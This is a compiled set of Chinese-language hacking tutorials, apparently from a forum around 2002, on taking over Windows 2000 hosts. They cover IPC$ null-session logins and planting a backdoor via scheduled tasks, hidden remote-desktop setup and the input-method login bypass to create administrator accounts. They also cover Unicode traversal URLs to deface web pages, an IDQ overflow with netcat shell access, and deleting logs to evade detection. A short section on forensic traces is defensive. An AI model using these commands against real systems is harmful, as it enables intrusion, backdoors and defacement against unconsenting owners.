IPC掃描

獲得共享列表

g f e h I

獲得用戶列表

029 1 2 Administrator (Admin) Guest IUSR_SERVER IWAM_SERVER TsInternetUser

猜解成功用戶帳號 Administrator (Admin):(NULL)

隨便找了一臺做實驗，先ipc$連上再說。
==========================================================================================
C://Documents and Settings//shanlu.XZGJDOMAIN>net use ////218.22.155.*//ipc$ "" /user:administrator
----------------連接成功！ 命令成功完成。

C://Documents and Settings//shanlu.XZGJDOMAIN>copy wollf.exe ////218.22.155.*//admin$
------------------------------拷貝wollf.exe到目標計算機的admin$目錄
已復制     1 個文件。

C://Documents and Settings//shanlu.XZGJDOMAIN>copy hbulot.exe ////218.22.155.*//admin$
-----------------------------拷貝hbulot.exe到目標計算機的admin$目錄
已復制     1 個文件。

C://Documents and Settings//shanlu.XZGJDOMAIN>net time ////218.22.155.*
////218.22.155.* 的當前時間是 2002/12/1 上午 06:37
命令成功完成。

C://Documents and Settings//shanlu.XZGJDOMAIN>at ////218.22.155.* 06:39 wollf.exe
新加了一項作業，其作業 ID = 1--指定wollf.exe在06:39運行
------------------------------------------------------------------------------------------
說明：
wollf.exe是一個后門程序，很多高手都喜歡nc或者winshell，不過我對他情有獨鐘！在這里我只介紹與本
文內容有關的命令參數，它的高級用法不做補充。
hbulot.exe是用于開啟3389服務，如果不是server及以上版本，就不要運行了。因為pro版不能安裝終端服務。
2分鐘后......

==========================================================================================
C://Documents and Settings//shanlu.XZGJDOMAIN>wollf -connect 218.22.155.* 7614
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
------------------------------------------------------------------------------------------
說明：
使用wollf連接時要注意wollf.exe要在當前目錄，它的連接命令格式：wollf -connect IP 7614
7614是wollf開放的端口。如果顯示如上，說明你已經連接成功，并具有管理員administrator權限。

==========================================================================================
[server@D://WINNT//system32]#dos

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.
------------------------------------------------------------------------------------------
說明：
輸入dos,你就會進入目標機的cmd下，這時同樣具有administrator權限。

==========================================================================================
D://WINNT//system32>cd..
cd..

D://WINNT>dir h*.*
dir h*.*
驅動器 D 中的卷沒有標簽。
卷的序列號是 1CE5-2615

D://WINNT 的目錄

2002-11-27 03:07   

     Help
2002-09-10 12:16        10,752 hh.exe
2002-10-01 08:29        24,576 HBULOT.exe
        2 個文件     35,328 字節
        1 個目錄 9,049,604,096 可用字節

D://WINNT>hbulot
hbulot
------------------------------------------------------------------------------------------
說明：
因為我們把HBULOT.exe放到目標機的admin$下的，所以先找到它，以上是文件的存放位置。

==========================================================================================
D://WINNT>exit
exit

Command "DOS" succeed.

[server@D://WINNT//system32]#reboot

Command "REBOOT" succeed.

[server@D://WINNT//system32]#
Connection closed.
------------------------------------------------------------------------------------------
說明：
由dos退到wollf的連接模式下用exit命令，HBULOT.exe運行后需重新啟動方可生效，這里wollf自帶的REBOOT命令，執行過在5秒后你就會失去連接。啟動完畢后檢查一下3389端口是否開放，方法很多，superscan3掃一下。這時候你就可以登陸了。如果沒有開放3389那就不是server及以上版本，就不要運行了。因為pro版不能安裝終端服務。到這里，你已經擁有3389肉雞了！但是會不會被別的入侵者發現呢？下面所教的就是怎么讓3389只為你服務！我們現在使用的3389登陸器有兩種版本，一種是2000/98，一種是XP。二者區別呢？前者使用的默認端口3389對目標，后者默認的也是3389端口，但是它還支持別的端口進行連接！所以呢......我們來修改3389的連接端口來躲過普通掃描器的掃描！修改方法如下：
修改服務器端的端口設置 ，注冊表有2個地方需要修改。
[HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Terminal Server//Wds//rdpwd//Tds//tcp] PortNumber值，默認是3389，修改成所希望的端口，比如1314
第二個地方： 
[HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Terminal Server//WinStations//RDP-Tcp]PortNumber值，默認是3389，修改成所希望的端口，比如1314 
現在這樣就可以了。重啟系統吧。 
注意：事實上，只修改第二處也是可以的。另外，第二處的標準聯結應該是 
[HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Control//Terminal Server//WinStations// 
表示具體的某個RDP-TCP連結。
重啟過后，看看端口有沒有改。
小技巧：修改注冊表鍵值時，先選擇10進制，輸入你希望的端口數值，再選擇16進制，系統會自動轉換。

建立3389
建立批命令.包含以下信息
echo [Components] > c:/sql
echo TSEnable = on >> c:/sql
sysocmgr /i:c:/winnt/inf/sysoc.inf /u:c:/sql /q
用IPC傳到對方機器后,net time得出對方時間然后at運行此批命令
五六分鐘以后對方機器重起可3389登陸
以此類推,可以在有IPC賬號情況下以批命令運行任何可運行的命令,如加賬號,開各種服務等!
3389肉雞深入討論　
序言
很多菜鳥擁有了第一臺肉雞后，水平一日千里，功夫飆升。所以有肉雞是菜鳥成為高手的 漫漫長路上的第一個目標。
本文將我個人的一些辦法（可能很土）與大家分享。
方法一）安裝服務
我知道很多人都有format 硬盤的壞習慣，我以前也有，現在徹底改邪歸正了。
如果找到一臺有漏洞的機器（我這里專指可以拿到權限的win2K機器），由于沒有開現成的端口，而輕易黑掉，是很可惜的。他沒有開，我們可以給他開嘛。

對于win2000，很多人進去都喜歡net start TermService，一般由于該服務被禁用，是開啟不成功的，那么我們想一點別的辦法。：）

我們會用Windows 2000下的Resource Kits中的一個工具instsrv創建一個服務，instsrv的用法如下，當然，你也可以用其他的工具來實現（如srvinstw，GUI方式的）。
C:/>instsrv
Installs and removes system services from NT
INSTSRV ( | REMOVE)
[-a ] [-p ]
Install service example:
INSTSRV MyService C:/MyDir/DiskService.Exe
-OR-
INSTSRV MyService C:/mailsrv/mailsrv.exe -a MYDOMAIN/joebob -p foo
Remove service example:
INSTSRV MyService REMOVE
大家現在明白了吧？
先instsrv TermService REMOVE
然后給他再裝上終端服務instsrv Winlogonservice c:/winnt/system32/termsrv.exe
嘿嘿，只要c:/winnt/system32/termsrv.exe存在，就可以給他裝上一個叫做Winlogonservice的服務，而且是自動啟動，哈哈～～
不妨在送個reboot.exe給他，然后用at //xxx.xxx.xxx.xxx 23:30 reboot.exe
這樣他重啟過后我們就能連接他的3389了。：）

方法二）對于終端服務設置為已禁止的機器
使用win2000無人職守工具sysocmgr.exe:
echo [Components] > c:/bootlog.txt
echo TSEnabled = on >> c:/bootlog.txt
sysocmgr /i:c:/winnt/inf/sysoc.inf /u:c:/bootlog.txt /q
sysocmgr的用法請自己到命令行下輸入 sysocmgr[回車] 看看幫助，寫得很清楚，上面的參數大致不變；如果你不想對方馬上重啟，輸入 /r 選項，擬制重啟(防止被發現)：
sysocmgr /i:c:/winnt/inf/sysoc.inf /u:c:/bootlog.txt /q /r

方法三）修改對方服務設置或者直接修改注冊表（成功率相對較低）
1、在regedit中菜單“注冊表”－》“連接網絡注冊表”
HKEY_LOCAL_MACHINE－》SYSTEM－》CurrentControlSet－》Services－》Termservice
將start鍵值修改為2－》退出regedit
想辦法讓對方機器重啟（reboot.exe很管用）
2、我的電腦－》管理－》服務－》Terminal Services－》屬性－》自動－》確定－》啟動Terminal Services（成功率不是很高）

進入肉雞后，請大家幫助升級，打補丁，堵漏洞（肉雞多半也是國內的嘛），然后她就會為你忠實服務了。
對于sa弱密碼進入系統的菜鳥，記得到 開始－》程序－》mssql server->enterprise management->。。。。－》security->logins里面給自己加個帳戶（不要是DBO，會有麻煩），當然權限和sa相同，然后修改sa密碼(嘿嘿，獨占，這樣“她的眼里只有你”)。
======== 續 ＝＝＝＝＝
1）所謂“萬能3389攻擊”的具體攻擊辦法：

3389連接目標的時候，點擊服務器地址欄，點擊任務欄輸入法，選擇清華紫光（或者別的什么鳥輸入法，只要能看幫助就行）；
連接到3389服務器，如果對方剛好有這個輸入法，那么就用輸入法漏洞利用方法一樣（差別是有的，關鍵在：找到什么地方有“打開文件”或者“保存文件”對話框出現）；

2）漏洞存在的原因及解決思路：

鑒于第三方輸入法都是系統及相關應用軟件（SQL server 、IIS、補丁等）裝好后才考慮的事情，這個幫助文件一般也不是放在%systemroot%/help下面，所以刪除這個目錄下面的win*是沒有用的，必須到安裝目錄去刪除.cnt或者*.hlp文件才行。
說得科學一點是這樣：第三方軟件設計缺陷導致系統出現漏洞；
說得玄乎一點就是系統打不打補丁都一樣能黑。
由于第三方軟件不在MS Service pack范圍內，當然與sp 無關。

聽著這兩種表示方式，大家覺得那樣比較好？
（我認為科學得態度是首要的，不要學李紅痔故弄玄虛，把握事情本質才是我們追求的）

3）體驗
這是輸入法漏洞利用的延伸，我曾經用清華紫光的這個幫助里面的“添加打印機”（好像是）然后彈出的”保存文件“對話框內，找個可執行文件，右鍵點擊－》“建立快捷方式”－》快捷方式“屬性”＝》net user ......－》確定－》右鍵點擊－》打開（也就是執行）
成功進入過一些機器。

4）題外話
另外，除非你運氣特別好，否則比較難遇到，因為服務器上裝東西的原則是：只要夠用就行。

5）最后給想做“超級黑客”的朋友的建議：多動腦和手；嘴巴吃飯喝酒比較累，一定要讓它多多休息。

3389入侵后實現上傳下載的簡單方法
　其實這是很簡單的:
首先你必須要有一個主頁空間,八要上傳的文件先上傳到主頁,然后打開終端,連接服務器,
跳至url中http://主頁/文件
如http://tnt168.51.net/sys.exe
然后會出現下載的頁面,保存或運行,
實現下載是這樣的:
現在瀏覽器中//ip/scripts/cmd.exe?/c+copy+目標文件 c:/inetpub/wwwroot/目標文件.zip
然后就可以實現下載了,~o~
但下載后怎么運行?很簡單,改變她的屬性:
察看--->文件夾選項--->察看--->將"隱藏已知的文件的擴展名"的勾去掉
再回到文件,將它重命名,改屬性為原來的屬性
如http://ip/cmd.zip(把cmd.exe改為了cmd.zip實現下載) 然后執行上面的步驟,改回cmd.exe就可以了!
這樣我們就能實現上傳下載了!我們把上載的文件改為一個不被病毒防火墻所查殺的木馬(推薦木馬信使tnt168.51.net/systtem.zip)
我們就能長期控制和知道她的密碼了
具體的方法相信大家都知道了,我不再羅嗦了
(cmd.exe請改名為其他以奪過檢查)
486 也跑 WIN2000 — WIN2000 輸入法漏洞應用實例
你是否也曾有一臺牛 B 一時的 486 呢？如果它老人家還健在，那么，別在多想，快快拍拍它身上的灰塵，讓我們一同享受 WIN2000 帶來的歡樂。

  最近有許多網友來信咨詢 WIN2000 上輸入法漏洞怎樣利用，有多大價值。的確，初看這個漏洞屬于本地漏洞，我們不可能為了用這個漏洞時跑到人家機房去試驗，那也是不現實的。但大家卻忽略了一個問題，就是 WIN2000 的遠程共享功能。有許多粗心的網絡管理員在安裝 WIN2000 時會不加選擇的安裝全部組件，這樣， WIN2000 的遠程共享功能就成為一個合法的天然超級木馬。

  具體怎樣用呢？聽我一一道來：

  我試驗的機器為 486 DX2/100 ＋ 8M 內存＋ 512M ＋ WIN95 中文版＋ MODEM （呵呵，艱苦樸素是中華民族的傳統美德）

1. 使用端口掃描工具。掃描一個網段內的 3389 端口。因為 WIN2000 的遠程共享功能就是通過這個端口實現的。建議使用小榕編寫的“流光 2001 ”＋“ IP 限制破解補丁”，這樣你 就可以很容易迅速找到有遠程共享的 WIN2000 主機。如圖（一）

2. 使用“ WIN2000 終端”直接與目標 IP 進行連接。如圖（二）

3. 出現登入界面時，會要求你輸入密碼。不知道密碼不要緊，這時就可以應用 WIN2000 輸入法漏洞了！輸入 CTRL ＋ SHIFT 切換當前輸入法到“智能 ABC ”，你可以通過“智能 ABC ”輸入法的狀態界面調出它的幫助系統。如圖（三）用 MOUSE 單擊幫助系統窗體左上角，在“ URL 轉至：”中輸入“ C ：”回車。如圖（四）快看，右側的幫助正文窗體中列出了對方 C 盤的目錄。這時，你可以用 MOUSE 右擊對方 C 盤文件夾，進行打開文件夾或啟動資源管理器等操作，然后進入對方的 WINNT 主目錄中下載 SAM ，（經實驗某些版本 WIN2000 無法直接打開文件夾或啟動資源管理器，但你仍然可以改變 C 盤或文件夾屬性并設為共享。然后用 NET 命令下載對方的 SAM 密碼文件）。如圖（五）

4. 下面，你需要做的就是找一個破解 SAM 是軟件，對剛下載的 SAM 進行窮舉破解。

5. 一但密碼破解成功后，恭喜你，那臺 WIN2000 就歸你用了！用“ WIN2000 終端”連入對方機器，你就可以盡情享受 WIN2000 的強大功能。在上面用流光跑跑 e － mail 密碼，如果你有 128k 帶寬的話，還可以看看 486 無力解碼的 RM 或 DVD 。“爽”就一個字，我只說一次！

  漏洞的初步補救方案：因為此漏洞在 WIN98 ～ WIN2000 ＋ SP1 中各版本均存在，所以目前只有兩個辦法：

1. 不安裝 WIN2000 遠程共享功能

2. 刪除“智能 ABC ”“鄭碼”等輸入法，僅存英文和“微軟智能拼音”

          關于 WIN2000 遠程共享功能的擴展應用

  在譽兒本地的眾多網吧中，大多數組網采用 WIN98 對等網＋ SYGATE 或 WINGATE 。

其成本大約是：     工作站：賽揚 533A ＋ 15 寸彩顯＋ 64M 內存＋ 15G 硬盤＋ TNT2 顯卡    

          3800 ～ 4000 元 / 臺   ×   20 臺   ＝ 80000 元 （選其中一臺作服務器）

  而使用 WIN2000 遠程共享功能組網

其成本大約是：   服務器一臺：雙奔三－ 800 、 512M 內存、 30G 硬盤、 WIN2000Server   15000 元

          工作站：奔騰－ 75 ＋ 512M 硬盤＋ 17 寸彩顯（二手）＋ WIN95 2000 元 / 臺× 20 ＝ 40000 元

          合計： 65000 元

  這樣你一下就省了近 20 ％，偷著樂去吧！譽兒前些天就幫朋友作了一個這樣的網吧。而且還在 Server 上裝了個 NETSONIC 加速軟件，由于 20 臺工作站緩存集中，所以速度成倍提高。

優缺點比較：   WIN98                       WIN2000

    不穩定 ，易死機，難維護   穩定，不死機，使用活動目錄技術，易維護，統一管理     網絡功能單一           網絡功能強大

由于使用 SYGATE 網關，       UDP 、 TCP 全部正常

OICQ 等軟件無法使用 TCP 協  

議進行連接，不能進行“二        

人世界”“文件傳輸”等        

  可以玩單機游戲           不能玩單機游戲

  總結：

    事物都有兩面性，上述例子就很明顯，關鍵還是如何正確利用技術。用的好可以省錢省心；用的不好，就只能作為黑客們的肉雞了。呵： p
WIN2000的輸入法入侵
這是一種入侵簡單，但造成用戶損失后果最嚴重的一種入侵方法，嚴禁入侵國內主機！請慎用之?。?！

（使用系統：WIN98/ME/2000/NT）這個方法對簡體WIN2000有效。所以練習可以，但不要破壞。如果懂NET和IPC管道入侵的學者更容易學。

一 準備工具：WIN2000終端服務客戶端程序，SQLEXEC程序，SUPERSCAN掃描器。

二 我們先運行SUPERSCAN掃描器，掃描器設置如圖：

SUPERSCAN設置

注意：主要是改二個地方：一個IP地址，另一個端口改成3389.

三 我們掃出有3389端口打開的主機后，用SQLEXEC程序看看能不能創建新用戶。如果不能創建就放棄，（當然還有另一種方法，下面再說。）如果我們能用NET USER創建用戶，并把用戶加到ADMINISTRATORS組的話，那恭喜你。準備登陸。

四 我們打開WIN2000 客戶端程序。在最上面一項填入對方的IP。其他項不用改。按連接。過幾秒后客戶程序會打開一個窗口：

五 這個畫面相信你很熟悉了吧，在使用者名稱填入你剛才創建的用戶名，密碼欄填入你創建的密碼然后按確定。呵呵，等一會（具體時間要看網速）就登陸到對方機器的窗口了。如圖

登陸成功窗口

六 你可以看到對方主機的所有內容了，（怎么感覺有點象冰河？呵，冰河也沒有這么直觀呀）等于你強占了對方的機器，它的生殺大權就都在你手里了?？蓜e干壞事啊。呵呵。進去后記住要刪除入侵記錄。把c:winnt/system32/logfiles/*.* 文件刪除。別刪錯了呀。

上面的方法優點在于可以直接輸入用戶名和密碼就能登陸，缺點是要用SQLEXEC一個一個試。還有一種方法：此方法適合于熟練掌握NET命令的學員。

我們用SUPERSCAN先對一個網段進行掃描，掃描端口設為3389，運行客戶端連接管理器，將掃描到的任一地址加入到，設置好客戶端連接管理器，然后與服務器連結。幾秒鐘后，屏幕上顯示出WIN2000登錄界面（如果發現是英文或繁體中文版，放棄，另換一個地址），用CTRL+SHIFT快速切換輸入法，切換至全拼，這時在登錄界面左下角將出現輸入法狀態條（如果沒有出現，請耐心等待，因為對方的數據流傳輸還有一個過程）。用右鍵點擊狀態條上的微軟徽標，彈出“幫助”（如果發現“幫助”呈灰色，放棄，因為對方很可能發現并已經補上了這個漏洞），打開“幫助”一欄中“操作指南”，在最上面的任務欄點擊右鍵，會彈出一個菜單，打開“跳至URL”。此時將出現WIN2000的系統安裝路徑和要求我們填入的路徑的空白欄。比如，該系統安裝在Ｃ盤上，就在空白欄中填入“c:/winnt/system32”。然后按“確定”，于是我們就成功地繞過了身份驗證，進入了系統的SYSTEM32目錄。 現在我們要獲得一個賬號，成為系統的合法用戶。在該目錄下找到net.exe”，為net.exe”創建一個快捷方式，右鍵點擊該快捷方式，在“屬性”－>“目標”－>c:/winnt/system32/net.exe后面空一格，填入user 用戶名 密碼／add”，創建一個新賬號，運行該快捷方式，此時你不會看到運行狀態，但新用戶已被激活。然后又修改該快捷方式，填入localgroup administrators 新用戶 /add，將新用戶變成系統管理員。大家可以用SQL和IPC管道命令進入了。
對win2000的攻擊
對win2000的攻擊（新手不要錯過） 由于Win2000操作系統良好的網絡功能，因此在因特網中有部分網站服務器開始使用的Win2000作為主操作系 統的。但由于該操作系統是一個多用戶操作系統，黑客們為了在攻擊中隱藏自己，往往會選擇Win2000作為首先 攻擊的對象。攻擊win2000通常有余下比較簡單的方法： 圖形界面，遠程登陸3389端口的攻擊，下載superscan3.zip在地址：http://www.heibai.net/download/show.php?id=2 406在黑白上有。填上起始和停止的ip地址段，“所有端口從”3389到3389然后單擊開始掃描，把掃描到的活動主機復制到剪貼 版。然后下載X-Scan-v1.3.zip在地址： http://www.heibai.net/download/show.php?id=1 486也是黑白上的工具注意下載后要解壓縮。運行xscan_gui在基本設置里填人剛才掃描的活動主機（粘貼剛才到剪貼版上即可）在掃描模塊里選擇 sql-server弱口令和nt-server弱口令即可，等會我們要用到這，其他設置不變。當得到用戶名和密碼：202.120.5.2**的sql或win2000用戶名和密碼！哈哈現在好了，已經成功一大半了。 sql 密碼sa （null） 去http://hdsafe.com/down/soft.asp?id=19下載sql 遠程入侵工具sqlexec.exe 通過sql登陸到主機上，然后在主機上添加用戶。具體步驟如下： （一）輸入命令：net user heibao 1006 /add 回車添加一般用戶（二）輸入命令：net localgroup administrators heibao /add 回車將heibao添加到高級管理員組！ 去hdsafe.com下載清風火舞win2000登陸器，填人ip地址：202.120.2.2** 連接，填上用戶名heibao和密碼1006即可進入系統。 掃描到win2000用戶名admini ，密碼：password 即可用清風火舞win2000登陸器直接進入即可哈哈，到現在我們有自己的肉雞了，在肉雞上我們可以干自己想干的事情，當然不能太過火了。注意： 1.如果本文提供的網址不能下載，則可用google.com搜索即可。 2.終端最大連接數問題的解決，telnet進去，然后輸入logoff 1 （1為id好號）

分析進入Win2000后留下的足跡
很多人對入侵Win2000系統很喜歡的吧，又有3389這樣的界面型遠程控制，還有這么多漏洞可以利用，而且關于入侵Win2000的文章又到處都是，方便啊。 不過，你知道，你到底留下了哪些足跡在系統中么？最近作了個入侵分析，發現了不少東西，當然，估計到入侵時間然后在查找文件就列出來了。我們在這里不分析來自FTP、HTTP的日志記錄，因為這樣來的入侵行為分析和防范比較容易，而通過帳號密碼猜測進來的防范起來是比較麻煩的（安全配置相當OK的另說）。 1、系統的日志記錄。 好的管理員應該盡可能地記錄可以記錄的東西，在本地安全策略中，對審核策略進行足夠多的記錄，你能發現，如果把所有的審核都選定的話（只要你不嫌多），一個帳號進行的操作訪問的整個過程都能夠完整記錄下來了，一點不漏。 事件查看器里記錄的內容是最多的了，從安全日志里面可以查看所有審核的事件。 我們看看一個帳號的登錄/注銷事件的記錄： 會話從 winstation 中斷連接: 用戶名: guest 域: Refdom 登錄 ID: (0x0,0x28445D9) 會話名稱: Unknown 客戶端名: GUDULOVER 客戶端地址: 202.103.117.94 這是一個3389登錄的事件，系統記錄下了IP地址，機器名稱以及使用的用戶名。還是很齊全的吧。 這是一個詳細追蹤的記錄： 已經創建新的過程: 新的過程 ID: 4269918848 映象文件名: /WINNT/system32/CMD.EXE 創建者過程 ID: 2168673888 用戶名: Refdom$ 域: Refdom 登錄 ID: (0x0,0x3E7) 這是使用localsystem來運行了cmd.exe的記錄，呵呵，用本地系統帳號運行cmd.exe不是用net user還是什么（當然還能做很多事情）。 小心自己的日志記錄太多，日志空間使用滿，這樣WIN就不再記錄新的事件了，請在日志屬性中選擇按需要改寫日志，這樣可以記錄新的事件，不過可能把需要分析的事件給改寫了。 可惜的是，這里的記錄實在是太顯眼了，多半存活不了。 2、足夠多的痕跡留在“Documents and Settings”目錄里面 這個目錄是所有帳號的足跡存放地，當然，從3389或者本機進入使用圖形界面就會留下帳號目錄來。我們來看看一個帳號的“Documents and Settings”目錄里面有什么東西吧，首先查看所有文件和文件夾，不要隱藏任何東西。 “「開始」菜單”：當然是存放帳號自己的“開始”中的東西，這個里面的“啟動”是個比較好東西哦。 “Application Data”：一些應用程序留下的數據啊、備份啊什么的東西，分析用處不怎么大。 “Cookies”：如果入侵者通過3389進來，還去瀏覽了網頁，那么這里就存放著足夠多的Cookie，讓你能夠知道他到底去了哪些地方。 “Local Settings”，這里也是一些臨時數據的存放地，還有就是IE的脫機東東。說不定能發現很多好網站哦。 “Recent”：這個文件夾是隱藏的，不過里面存放的東西實在太多了，帳號訪問的目錄、文件一個一個都記錄在案。使用了哪些東西，看了哪些文件，都能知道得清清楚楚。 “Templates”：存放臨時文件的地方。 3、從黑客工具看 被人入侵了，那他一定會想辦法獲得administrator權限，得到了這個權限他就能為所欲為了，按照各種介紹的入侵教材，當然是放置其他掃描器做肉雞、安裝后門、刪除日志……呵呵，這些掃描器都有足夠的日志可以提供分析，還能幫自己白白收集一些肉雞。而且從這些工具的日志（配置文件）里面也可以看出入侵者的意圖以及水平等等。 也好，那流光來說吧，每次掃描的結果都寫下來了，大家都可以看，不看白不看。 被安裝后門、代理跳板（不是多級）是最好的了，誰能遠程控制你做什么呢？我們當然可以從后門程序抓住入侵者的來歷，從哪里傳過來的連接，用嗅嘆器就是了，當然，你甚至可以用一個非常有意思的文件名來偽裝自己的木馬，讓他當回去使用，想玩大家一起玩啊。當然，從另外的3389肉雞這樣的控制來的入侵者還是只找到的他的肉雞而已。（冒險，把他的肉雞也搞定吧）

由于網上很多朋友問我怎么入侵別人的機器，所以整理了一些我認為容易學的漏洞入侵方法，希望能給初學者一些幫助，下面講的內容很簡單，高手就不用浪費時間看了，：）

（1） UNICODE漏洞入侵
“Uicode漏洞”是微軟IIS的一個重大漏洞。2001年最熱門漏洞之一。
第一步，運行RANGSCAN掃描器，會出現掃描窗口，在最上面有兩個from的橫框，這是讓你填一段IP范圍的。在第一個框里填入啟始域（打個比方，比如你要掃192.168.0.1至192.168.0.255）那么你在第一個框里就填入192.168.0.1，在to 后面的框里填入192.168.0.255 意思就是掃192.168.0.0至192.168.0.255這段范圍里有UNICODE漏洞的機器。接著在中間有一個添加的橫框，是要填入內容的如：
/scripts/..%c0%af../winnt/system32/cmd.exe
這句話的意思是掃描有 %c0%af 漏洞的機器，對象一般是英文的WIN2000機。
我們把/scripts/..%c0%af../winnt/system32/cmd.exe填入框里，再按一下添加。再按“掃描”。就看到RANGSCAN開始掃了。這時就要看你選的IP范圍有漏洞的機器多不多了，如果你選的IP范圍好，呵，很快在掃描結果框里就會顯示掃到的漏洞主機
如192.168.0.111/scripts/..%c0%af../winnt/system32/cmd.exe
意思是192.168.0.111主機有 %c0%af 漏洞，
目標有了，我們馬上打開瀏覽器。在網址欄里輸入：
100.100.100.111/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:/ 回車
意思是查看機器里C盤的根目錄。一般情況下，我們都可以在瀏覽器里看到類似如：
Directory of c:/
2002-03-13 03:47p 289 default.asp
2002-02-11 03:47p 289 default.htm
2002-03-09 04:35p
Documents and Settings
2002-02-11 03:47p 289 index.asp
2002-02-11 03:47p 289 index.htm
2002-05-08 05:19a
Inetpub
2002-01-19 10:37p
MSSQL7
2002-03-09 04:22p
Program Files
2002-01-23 06:21p
WINNT
4 File(s) 1,156 bytes
5 Dir(s) 2,461,421,568 bytes free
------------------------------
的目錄列表。也會碰到看不到文件的空目錄。
好，我們成功看到了機器里的C盤了。
我們在瀏覽器里輸入：
192.168.0.111/scripts/..%c0%af../winnt/system32/cmd.exe?/c+set 回車
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

ALLUSERSPROFILE=C:/Documents and Settings/All Users
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=ON
ComSpec=C:/WINNT/system32/cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=192.168.0.111
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTPS=off
INSTANCE_ID=1
LOCAL_ADDR=192.168.0.111
NUMBER_OF_PROCESSORS=1
Os2LibPath=C:/WINNT/system32/os2/dll;
OS=Windows_NT
Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/System32/Wbem;C:/MSSQL7/BINN
PATH_TRANSLATED=c:/inetpub/wwwroot
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Fa
-----------------
哈，我們看到了機器設置內容了，我們找找，主要看PATH_TRANSLATED=c:/inetpub/wwwroot
意思是他的主頁存放在c:/inetpub/wwwroot的目錄里，知道就好辦了。
我們用命令：
192.168.0.111/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:/inetpub/wwwroot回車
我們就可以看到c:/inetpub/wwwroot目錄里的文件了，一般都有default.asp, default.htm , index.htm, index.asp,等等。我們以目錄里有index.asp做例子。
我們先要做的是把文件的只讀屬性解除掉，很多管理員都把文件設置只讀。
我們用命令：
192.168.0.111/scripts/..%c0%af../winnt/system32/attrib.exe?%20-r%20-h%20c:/inetpub/wwwroot/index.asp 回車
當看到下面的英文
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
恭喜你，你可以改他的網頁了。
----------------------------------------
但如果你看到下面的英文就不成功，只好換其他機器了。
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Access denied - C:/inetpub/wwwroot/index.asp
-----------------------------
繼續?，F在用ECHO改網頁的內容。
100.100.100.111/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+網站有漏洞+> c:/inetpub/wwwroot/index.asp 回車
當看到
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
的提示，你已經改了他的網頁了，呵呵，你想改成什么字也行。只要把命令中的中文換成你自己的中文就行了。

英文WIN2000
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:/
中文WIN2000
/scripts/..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c1%1c../winnt/system32/cmd.exe
WIN NT4
/scripts/..%c1%9c../winnt/system32/cmd.exe
英文WIN2000
/scripts/..%c0%af../winnt/system32/cmd.exe
通用代碼：/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:/

（2） Windows2000輸入法漏洞
先用端口掃描器掃描開放3389的機器，然后用終端客戶端程序進行連接，用CTRL+SHIFT快速切換輸入法，切換至全拼，這時在登錄界面左下角將出現輸入法狀態條，在輸入法狀態條上按鼠標右鍵。選擇“幫助” —— “輸入法指南” —— “選項”。（如果發現“幫助”呈灰色，放棄，因為對方很可能發現并已經補上了這個漏洞。）按右鍵，選擇“跳轉到URL”，輸入：c:/winnt/system32在該目錄下找到“net.exe”，為“net.exe”創建一個快捷方式，右鍵點擊該快捷方式，在“屬性” —“目標”—c:/winnt/system32/net.exe 后面空一格，填入“user guest /active :yes”。 點擊“確定”（目的是，利用“net.exe”激活被禁止使用的guest賬戶）運行該快捷方式。（此時你不會看到運行狀態，但guest用戶已被激活。）然后重復操作上面的，在 “屬性” —— “目標”—— c:/winnt/system32/net.exe 后面空一格，填入localgroup administrators guest /add（這一步驟目的是，利用“net.exe”將guest變成系統管理員。）再次登錄終端服務器，以“guest”身份進入，此時guest已是系統管理員，已具備一切可執行權及一切操作權限。現在，我們可以像操作本地主機一樣，控制對方系統。
（3） idq溢出漏洞
要用到3個程序，一個Snake IIS IDQ 溢出程序GUI版本，一個掃描器，還有NC。
首先掃描一臺有IDQ漏洞的機器，然后設置Snake IIS IDQ 溢出程序，在被攻擊IP地址后面寫上對方的IP.端口號一般不需要改動，軟件的默認綁定CMD.EXE的端口是813.不改了.用默認的，左面選擇操作系統類型，隨便選一個，我們選IIS5 English Win2k Sp0吧，點擊IDQ溢出~~OK~~出現發送Shellcode成功的提示了，然后我們用NC來連接。
進入MS-DOS。進入“nc”的目錄。然后：nc --v IP 813
c:/>nc -vv IP 813
IP: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [IP] 813 (?): connection refused
sent 0, rcvd 0: NOTSOCK
c:/>

看來沒成功. 別灰心，在來一次，換用IIS5 English Win2k Sp1試試。
c:/>nc -vv IP 813
IP: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [IP] 813 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:/WINNT/system32>
哈哈，終于上來啦，你現在可是system權限，下面該怎么做就看你的啦。

（4）IDA溢出漏洞
所用程序：idahack
進入MS-DOS方式（假設idq.exe在c:/下）
c:/idahack.exe
運行參數：c:/idahack
chinese win2k : 1
chinese win2ksp1: 2
chinese win2ksp2: 3
english win2k : 4
english win2ksp1: 5
english win2ksp2: 6
japanese win2k : 7
